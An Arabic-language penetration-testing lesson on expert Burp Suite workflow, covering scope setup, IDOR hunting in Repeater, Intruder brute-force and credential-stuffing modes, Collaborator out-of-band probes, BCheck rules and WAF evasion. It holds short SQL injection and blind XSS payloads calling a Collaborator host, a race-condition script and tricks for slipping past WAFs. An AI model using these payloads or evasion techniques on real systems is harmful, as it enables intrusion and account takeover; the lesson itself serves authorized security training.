الفرق الحمراء — الهجوممتقدم120mL09

Burp Suite Mastery — زي ما المحترفين بيستخدموه

Proxy و Repeater و Intruder و Collaborator و BCheck — شغل فعلي

#Burp#Proxy#Intruder#Collaborator#BCheck

Burp مش proxy — هو غرفة العمليات

تشبيه — شرح مبسط

الفرق بين اللي بيستخدم Burp كـ Postman، واللي بيستخدمه كـ Burp، يبان في 5 ثواني.

الأول بيفتح Repeater، يعدّل قيمة، يبعت، يبص في الرد، يقفل.

التاني بيفتح Burp، يدخل على Target → Scope الأول، يضبط Match & Replace، يفتح Logger++، يحط Collaborator في الجيب، وبعدين يبدأ.

- طب وايه الفرق يا حضرتك؟؟ الاتنين بيبعتوا requests!

يا نجم الجيل.. الأول بيـ guess. التاني بيـ hunt. الفرق ساعتين شغل وصفر findings، مقابل ساعتين شغل و3 IDORs.

Burp مش proxy بيعرض requests. Burp غرفة عمليات.

اوعى تشتغل من غير ورق

Burp قانونية. استخدامها بره الـ scope = جريمة. مش "ممكن مشكلة" — جريمة فعلية، فيها قضايا، في كل دولة عاقلة.

اشتغل دايماً جوه scope مكتوب:

  • pentest authorized بـ SOW موقّع.
  • bug bounty على program ليه scope محدد على HackerOne/Bugcrowd/Intigriti.
  • معملك (Juice Shop، DVWA، PortSwigger Academy، PortSwigger Web Security Academy).

"الموقع شكله ضعيف، خلّيني أجرّب" — ده اللي بيوّدي السجن.

الدرس ده مش "إيه هي Repeater". الدرس: إزاي اللي بياخدوا 50 ألف دولار من برامج Google وMicrosoft بيستخدموا الأداة. الفرق بين الـ workflow ده والمعتاد = الفرق بين البحث والـ guessing.

الإصدارات والترخيص

  • Community (مجاني): Proxy، Repeater، Decoder. الـ Intruder بطيء جداً (rate-limited)، مفيش scanner. كفاية للتعلم.
  • Professional (~$475/سنة): Intruder سريع، Scanner، Collaborator، BCheck، Extender كامل. ده اللي 99% من المحترفين بيستخدموه.
  • Enterprise: للفرق وCI/CD. مالهاش علاقة بالـ pentest اليدوي.

الإعداد — 10 دقايق هتوفر عليك سنين، وليه Target → Scope أول حاجة تفتحها

اللي بيفتح Burp ويبدأ يـ click في Repeater من غير ما يضبط scope، بيعمل واحدة من اتنين:

  • الـ HTTP history بتاعه بقت Twitter notifications، Gmail polling، Slack websockets، وكام request للهدف ضايعين في الزحمة.
  • وجوه آخر يوم في الـ engagement لما يـ Save Project، الـ file بقى 8 جيجا، Burp بيتعلّق، والشغل اللي عمله بيضيع.

Target → Scope مش "إعداد كمالي". هو الفرق بين engagement منظّم وعك مرتب.

01
ركّب شهادة Burp في المتصفح

من غير الشهادة مش هتشوف HTTPS. شغّل Burp، افتح المتصفح الـ embedded أو ظبط Firefox/Chrome.

bash
# 1) Burp يستمع على 127.0.0.1:8080
# 2) Firefox: Settings → Network → Manual proxy → 127.0.0.1:8080
# 3) زُر http://burp → Download CA → استورد للمتصفح كـ "Trusted CA for websites"
# أو استخدم Foxy Proxy + Burp embedded browser (الأسهل)
02
ظبط الـ Scope

أهم خطوة في الموضوع كله. من غير scope، Burp بيسجل كل request من المتصفح (Twitter، Gmail، أي حاجة) والـ history بتختنق.

text
Target → Scope → Add
Use advanced scope control → Include in scope:
  Protocol: Any
  Host: ^.*\.target\.com$
  Port: ^443$
ثم في Proxy → Options → "Drop all out-of-scope items"
03
إعدادات Repeater وIntruder عشان السرعة
text
User options → Misc → Updates → Disable auto-update
User options → Display → Font → ضع Mono و كبّره
Project options → Sessions → Cookie jar = scope only
Project options → HTTP → Redirections = Always (في scope)
04
الـ Extensions الأساسية (BApp Store)
  • Logger++: سجل قابل للبحث لكل request — مينفعش من غيره.
  • Autorize: بيفحص IDOR/Auth أوتوماتيك عن طريق إعادة الـ request بـ session تانية.
  • Hackvertor: ترميز/فك ترميز بكل الأشكال (URL, base64, Unicode, JWT).
  • JSON Web Tokens: تعديل JWT وإعادة توقيع.
  • Param Miner: اكتشاف parameters/headers مش موثقة.
  • Turbo Intruder: 30 ألف request/ثانية + single-packet attack.
  • HTTP Request Smuggler: كشف واستغلال desync.
  • Active Scan++: امتداد للـ scanner المدمج.
  • Backslash Powered Scanner: للـ injection bugs العميقة.

Proxy — تلقّط وتعديل

القلب. كل request بيعدي من هنا الأول. اقفل Intercept افتراضياً (إلا لو محتاجه) — اشتغل من الـ HTTP History.

text
Proxy → HTTP history
كليك يمين على طلب:
  → Send to Repeater (Ctrl+R)        — لتعديل و تكرار يدوي
  → Send to Intruder (Ctrl+I)        — لـ fuzzing
  → Send to Comparer                 — للـ diff بين ردين
  → Do active scan                   — لفحص آلي (Pro)
  → Engagement tools → Find references — أين يظهر هذا الـ endpoint
حيلة احترافية

Match & Replace في Proxy → Options: حط header زي X-Forwarded-For: 127.0.0.1 على كل request أوتوماتيك، أو شيل If-Modified-Since عشان تخلي السيرفر يرد بالداتا الحية.

Repeater — قصة صيد IDOR من البداية للآخر

90% من شغل bug bounty بيحصل في Repeater. أتقنه وإنت حر.

بس بدل ما أقولك "Ctrl+R و Send"، خليني أوريك سيناريو حقيقي.

السيتاب

هدف SaaS، فيه dashboard، كل user عنده account_id. إنت سجّلت user، account_id بتاعك = 8419. الـ API call اللي بيجيب الـ profile:

text
GET /api/v2/account/8419/profile HTTP/1.1
Host: app.target.com
Authorization: Bearer eyJhbGc...
Cookie: session=abc123

الخطوات اللي محترف بيعملها — بالترتيب

  1. سجّلت account تاني بـ email مختلف من +aliasing. account_id الجديد = 8420. ده الـ "victim" في الـ test.
  2. من الـ user الأول، Send to Repeater على الـ profile request.
  3. غيّرت 8419 لـ 8420. Send.
    • لو رجعت داتا الـ user التاني = IDOR كامل، critical.
    • لو 403 = backend بيتشيك. كويس.
    • لو 404 = ممكن enumerable، ممكن لأ. اعمل diff على الـ Length و الـ Time.
  4. جرّبت الـ casing: Account/8420، ACCOUNT/8420. أحياناً الـ routing case-insensitive والـ authz case-sensitive.
  5. جرّبت method confusion: GET → POST، GET → PUT. الـ GET ممكن يبقى مقفول والـ PUT فاتح من سهو.
  6. ضفت parameter pollution: ?account_id=8419&account_id=8420. الـ middleware بياخد الأول، الـ controller بياخد التاني.
  7. غيّرت الـ Authorization لـ token اتاني (الـ user التاني)، وسبت الـ URL على 8419. الـ Autorize extension بتعمل ده أوتوماتيك.
  8. جرّبت headers مخفية: X-Original-URL: /api/v2/account/8420/profile. أحياناً الـ reverse proxy بيوثق على الـ outer URL والـ app بيعمل route على الـ inner.

لقيت إن الـ method confusion شغّال؟ Send to Comparer قارن الردود. سجّل الـ request بـ Add comment ("IDOR via PUT method, confirmed"). ضع color = green في الـ tab. كمّل.

ده Repeater. مش زر Send.

  1. الـ Tabs ملونة: كليك يمين → Color. أحمر = ضعيف، أخضر = critical، أصفر = لسة بفحصه.
  2. Ctrl+Space للإكمال جوه القيم.
  3. Inspector panel: عدّل JSON/headers/params كجدول، الـ raw request بيتبني لوحده.
  4. Send group in single packet: أساس race conditions (Ctrl+Shift+G لكل الـ tabs).
  5. Show response in browser: تشوف الرد اللي فيه HTML/JS زي ما هو صفحة كاملة (مفيد للـ XSS).
text
# سيناريو نموذجي:
1) لقطت طلب login من الـ Proxy
2) Send to Repeater → غيّر username لـ admin' OR 1=1--
3) Send → لاحظ الفرق في الرد
4) لو فيه نتيجة: احفظ الـ request كـ "vulnerable-login.req" → Save items

Intruder — 4 أوضاع، 4 سيناريوهات حقيقية

الـ Intruder مش "اخترلي وضع". كل وضع له شغل. لو خلطت بينهم، النتيجة مش هتطلع.

Sniper — موضع واحد، list واحدة

السيناريو: عندك endpoint /api/user/§1§/profile وعايز تعمل enumeration على account IDs.

سؤال واحد: "هل الـ ID ده موجود؟". list واحدة، position واحد.

text
GET /api/user/§1§ HTTP/1.1
Payload: numbers 1..1000
Battering Ram — نفس القيمة في كل مكان

السيناريو: نموذج تسجيل بيطلب username + email. عايز تجرّب لو الـ backend بيستخدم نفس الحقل في validation.

قيمة واحدة، اتحقن في كل positions في نفس الوقت. مفيد لـ SSTI testing وللحالات اللي البـ field بيتحطف فيها.

Pitchfork — listتين متوازيتين

السيناريو: credential stuffing من dump. كل user له password واحد محدد، مش كل combination.

list 1 = users.txt، list 2 = passwords.txt. الطلب الأول بياخد user[0]+pass[0]، التاني user[1]+pass[1]، وهكذا. لو فيه فرق في عدد الـ entries، Burp بيقف عند الأقل.

Cluster Bomb — كل combination

السيناريو: brute-force كامل. 100 username × 100 password = 10,000 طلب.

text
POST /login
user=§§ & pass=§§
Payload set 1: users.txt
Payload set 2: passwords.txt

التحذير: ده اللي بيحرق الـ rate limit. شغّله وإنت عارف إن الـ account هيتقفل أو الـ IP هيـ block. على الـ Community بطيء جداً — هنا تستخدم Turbo Intruder.

تحليل الردود

الـ Intruder مش هيقولك "ده نجح" — إنت اللي بتستخرج الإشارة:

  • Length: الرد الناجح غالباً طوله مختلف.
  • Status code: 200 وسط بحر من 401 = إصابة.
  • Grep - Match: علّم الردود اللي فيها "Welcome" أو "error".
  • Grep - Extract: استخرج قيمة (زي CSRF token جديد).
  • Time: رتّب على عمود Time للـ blind time-based.

Collaborator — لما الهدف ساكت بس بيتكلم من ضهره

تشبيه — شرح مبسط

Collaborator domain عام بيلقط أي DNS/HTTP/SMTP يوصله.

سيناريو: إنت بتختبر export PDF feature. بتحط http://x.oastify.com/poll في حقل image_url. الـ PDF رجع طبيعي، مفيش error، مفيش حاجة شكلها مهمة في الرد.

تفتح Collaborator → Poll Now.

تلاقي:

  • DNS lookup من IP بتاع AWS داخلي للهدف.
  • HTTP GET من headless-chrome/119.0.

الكلام ده معناه: السيرفر فتح الـ URL بـ headless browser، من جوه VPC. SSRF مؤكد، وممكن تتطور لـ access على metadata endpoint.

الـ response ما قالش حاجة. الـ Collaborator هو اللي صرخ.

text
Burp → Collaborator → Copy to clipboard
استبدل في Repeater:
GET /fetch?url=http://YOUR-COLLAB.oastify.com/probe HTTP/1.1
↓ Send
↓ ارجع لـ Collaborator → Poll now → ستجد:
   - DNS lookup من target's IP
   - HTTP GET من user-agent معيّن
= SSRF/SSTI/XXE مؤكدة بدون ضرر
حالات استخدام
  • Blind XSS: حقن <script src=https://x.oastify.com/x.js> — انتظر assistant/admin يفتح صفحة.
  • Blind SQLi: '; SELECT load_file('\\\\\\\\x.oastify.com\\\\share') --
  • Blind XXE: external entity تشير لـ Collaborator.
  • SSRF: استبدل أي URL في request بـ subdomain جديد.
  • Email injection: SMTP probe في حقل البريد.

BCheck — قصة كتابة check لـ bug شفته بنفسك

الـ Scanner المدمج كويس. بس قوة Burp الحقيقية في BCheck — لغة DSL تكتبها مرة، وتشتغل على كل engagement بعد كده.

السيناريو: لقيت في engagement سابق إن في endpoint اسمه /debug.php بيظهر بيانات الـ DB لو الـ X-Debug header موجود. بطّلت الـ engagement ده. بس الـ pattern ده ممكن يكون موجود عند زبون تاني، أو شركة تانية في نفس الـ vertical.

بدل ما تتذكر تجرّبه يدوي كل مرة، اكتبه BCheck:

text
metadata:
    language: v2-beta
    name: "Detect debug.php"
    description: "ارسل /debug.php و افحص رد"
    author: "you"

run for each:
    debug_path =
        "/debug.php",
        "/debug.html",
        "/.env"

given any host then
    send request called check:
        method: "GET"
        path: `{debug_path}`
    if {check.response.status_code} is "200" and
       {check.response.body} matches "DB_PASSWORD" then
        report issue:
            severity: high
            confidence: certain
            detail: `Sensitive file at {debug_path}`
    end if

ملفات الـ BCheck بتروح في ~/AppData/Roaming/BurpSuite/bchecks/ وبعدين Scanner → Issues → BChecks → Reload.

Comparer + Decoder + Sequencer

  • Comparer: Words/Bytes diff بين ردين. مفيد جداً للـ blind boolean — قارن رد id=1 بـ id=1' OR 1=1--.
  • Decoder: ترميز/فك ترميز بكليك. base64، URL، HTML، Hex، Hash. وتقدر ترص عمليات فوق بعض.
  • Sequencer: تحليل عشوائية tokens (session ID, CSRF). بيلم 10 آلاف+ token ويحسب الـ entropy. مفيد لما الـ RNG يبقى ضعيف.

Match & Replace — قوة خفية

text
Proxy → Options → Match and Replace → Add:
Type: Request header
Match: ^User-Agent: .*
Replace: User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1)
[ ] Regex match
  • تتخطى bot detection بانتحال Googlebot.
  • تحط X-Forwarded-For: 127.0.0.1 عشان تتخطى IP allowlist.
  • تشيل Origin عشان تختبر CORS.
  • استبدال JWT أوتوماتيك في كل request.
  • حقن debugger statement في كل JS بيرجع.

Macros و Sessions — للـ workflows المعقدة

التطبيق بيطلب CSRF token جديد لكل request؟ Burp يقدر يستخرجه من رد سابق ويحقنه أوتوماتيك.

text
Project options → Sessions → Macros → Add
1) سجّل: GET /login → استخرج _csrf من body
2) Session handling rule:
   Scope: matches /api/*
   Action: Run macro to get _csrf, then update _csrf parameter

النتيجة: الـ Intruder/Scanner بيشتغلوا على تطبيق محمي بـ CSRF من غير أي شغل يدوي.

Turbo Intruder — للسرعة الجادة وSingle-Packet

python
# Burp → Extender → Turbo Intruder → New attack
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=5,
        requestsPerConnection=100,
        pipeline=False,
        engine=Engine.BURP2
    )
    # لـ race condition — single packet
    for i in range(30):
        engine.queue(target.req)
    engine.openGate()

def handleResponse(req, interesting):
    if "success" in req.response:
        table.add(req)

30 ألف request/ثانية ممكن. استخدمه ضد credential stuffing على بيئتك، أو race على coupon redemption.

نصايح بيستخدمها أبطال bug bounty

  1. كل project = ملف لوحده. File → New project → Disk-based. متخلطش الأهداف.
  2. احفظ كل ساعة. Burp بيتعلق أحياناً مع الـ projects الكبيرة.
  3. Logger++ شغال من أول يوم. هتحتاج تدور على "فين شفت الـ parameter ده؟" بعد أسبوع.
  4. اكتب Notes في Repeater: كليك يمين → Add comment. سرعة الكتابة دلوقتي = سرعة التقرير بعدين.
  5. دور في الـ History بـ Bambdas: requestResponse.request().urlContains("graphql") → فلتر فوري.
  6. شغل Param Miner قبل أي حاجة: ممكن يكشف X-Original-URL أو header مخفي بيفتح كل حاجة.
  7. متعتمدش على الـ Active Scanner لوحده. هو بيلاقي 30%، الباقي يدوي.
  8. Save state قبل أي تجربة خطرة. لو طلعت الـ session، تقدر ترجع.
  9. Burp Collaborator دايماً شغال. ربع ثغراتي الحقيقية كانت OOB.
  10. اقرا الـ Release Notes لكل تحديث. PortSwigger بيضيف تكنيكات قتل (زي Inspector) كل شوية.

الحماية — WAF بيقفل Burp إزاي، والـ Burp users بيعدّوها إزاي

من جنب الـ defense

الـ WAF الحديث (Cloudflare، Akamai، AWS WAF، F5) عنده signatures لـ Burp users:

  • Default User-Agent fingerprint: Burp بيـ leave headers زي Connection: close بشكل ثابت، وترتيب الـ headers مختلف عن المتصفح.
  • JA3/JA4 TLS fingerprint: الـ TLS handshake بتاع Burp بصمته معروفة. CDN بيشوفها.
  • Rate signature: Intruder بـ default بيبعت requests كل 0ms. الـ WAF بيشوف الـ pattern ده فوراً.
  • Payload signatures: الـ Active Scanner بيبعت payloads ثابتة ('or'1'='1، الـ XSS canary). WAF rules بتعرفها.

وكيف الـ Burp users بيعدّوا الـ controls دي:

  • Match & Replace على User-Agent يخلّيه User-Agent متصفح حديث.
  • Intruder → Resource Pool → max concurrent requests = 1، delay = 2-5 ثواني. Slow Intruder بيعدّي تحت الـ rate limit.
  • Random throttle عشان ما يبقاش الـ delay ثابت. الـ WAF بيـ flag الـ regular intervals.
  • الـ TLS fingerprint مشكلة معقدة. الحل: use Caido أو شغّل Burp ورا curl-impersonate.
  • Active Scanner؟ ما بتشغّلوش على هدف عنده WAF حساس. شغّل Nuclei من بره الأول، Burp يدوي على اللي ظهر.

الدرس للـ defender: User-Agent filtering لوحده مش كفاية. لازم correlation: rate + payload signatures + session anomaly. والأهم: false positive rate. WAF بيـ block ناس حقيقيين كل يوم.

بدائل Burp — بصراحة، إمتى تستخدم إيه

  • Caido: 2024+، Rust، UI أحدث وأسرع من Burp بمراحل. الـ feature parity مش كاملة لسة، بس لو بتعمل web testing ومش محتاج كل extension في BApp Store، Caido فعلاً أحسن experience. أنا بستخدمه على engagements صغيرة، Burp على الكبيرة.
  • OWASP ZAP: مجاني خالص. الـ CLI ممتاز للـ CI/CD pipelines. بس الـ UI بطيئة، والـ extension ecosystem أصغر بكتير. يصلح كـ scanner في pipeline، مش كـ daily driver.
  • mitmproxy: terminal-based. لو بتختبر mobile app أو IoT، mitmproxy بيكسبهم بسهولة. Python scripting قوي. بس مش UI لـ manual testing تفصيلي.
  • HTTP Toolkit: للـ developer debug أكتر من attack. ممتاز للموبايل/desktop apps لإن بيـ auto-intercept. مش بديل Burp في pentest.

والكلام الفارغ المعتاد: "أنا بستخدم ZAP لإنه مجاني". Burp Pro بـ ~$475/سنة. لو شغلك pentest، ده تكلفة ساعة شغل واحدة. بطّل الـ false economy دي.

الخلاصة الناشفة

Burp مش proxy.

Burp مش "Postman للهاكرز".

Burp هو الفرق بين البحث والـ guessing.

اللي بيـ guess: ساعتين شغل، صفر findings.

اللي بيبحث: ساعتين شغل، 3 IDORs و 2 SSRFs.

الفرق مش في الأداة. الفرق في الـ workflow.

اكتبها على ظهر إيدك: أول 100 ساعة في Burp إنت "بتتعلم". أول 1000 ساعة إنت "بتشتغل". بعد 5000 ساعة، إنت بتشوف bug ما حدش شافه.

ابدأ. PortSwigger Web Security Academy. مجاني. كل lab. لحد ما الـ Repeater يبقى زي إيدك.

ولما يبقى زي إيدك — هتلاقي إن العالم كله مفتوح.

مصادر عشان تتقن الموضوع

  • PortSwigger Web Security Academy — مجاني، بيعلمك Burp والثغرات مع بعض.
  • BApp Store — راجعه كل شهر، فيه إضافات جديدة بانتظام.
  • YouTube: PortSwigger Research — James Kettle بيكشف تكنيكات قبل ما تطلع في Burp.
  • Twitter / X: تابع @albinowax, @Rhynorater, @JHaddix.